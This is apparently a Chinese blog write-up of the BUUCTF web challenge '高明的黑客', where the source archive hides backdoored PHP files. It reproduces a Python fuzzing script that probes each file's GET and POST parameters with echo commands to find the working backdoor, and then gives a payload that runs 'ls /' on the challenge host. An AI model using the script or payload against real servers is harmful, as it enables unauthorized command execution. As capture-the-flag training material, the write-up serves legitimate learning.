buuctf—web—高明的黑客

打开靶机,看到如下界面

 

 于是打开www.tar.gz

 

 下载后发现是一个放有大量php文件的文件夹

看了大佬的wp后明白了是fuzzing

附上大佬的脚本

import os
import re
import requests
filenames = os.listdir('D:/phpStudy/PHPTutorial/WWW/src/')
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")
for name in filenames:
    print(name)
    with open('D:/phpStudy/PHPTutorial/WWW/src/'+name,'r') as f:
        data = f.read()
    result = list(set(pattern.findall(data)))

    for ret in result:
        try:
            command = 'echo "got it"'
            flag = 'got it'
            # command = 'phpinfo();'
            # flag = 'phpinfo'
            if 'GET' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.get(url='http://127.0.0.1//src/' + name + '?' + passwd + '='+ command)
                if "got it" in r.text:
                    print('backdoor file is: ' + name)
                    print('GET:  ' + passwd)
            elif 'POST' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.post(url='http://127.0.0.1//src/' + name,data={passwd:command})
                if "got it" in r.text:
                    print('backdoor file is: ' + name)
                    print('POST: ' + passwd)
        except : pass

这里需要在本地搭建一个phpstudy环境且需要PHP版本在7以上

这里我用的是PHP7.2的环境

phpstudy更改PHP版本的方法

 

 访问本地网站,查看是否搭建成功

 

 看到此界面便说明搭建成功了

开始运行脚本,由于脚本运行速度较慢,于是删除了X之前的文件

 

 查询根目录下文件

payload:http://32d6ad97-7e91-42b6-85bb-077538a93664.node3.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=ls /

 

 查看flag内容

 

posted @ 2020-02-24 17:24  anweilx  阅读(789)  评论(0编辑  收藏  举报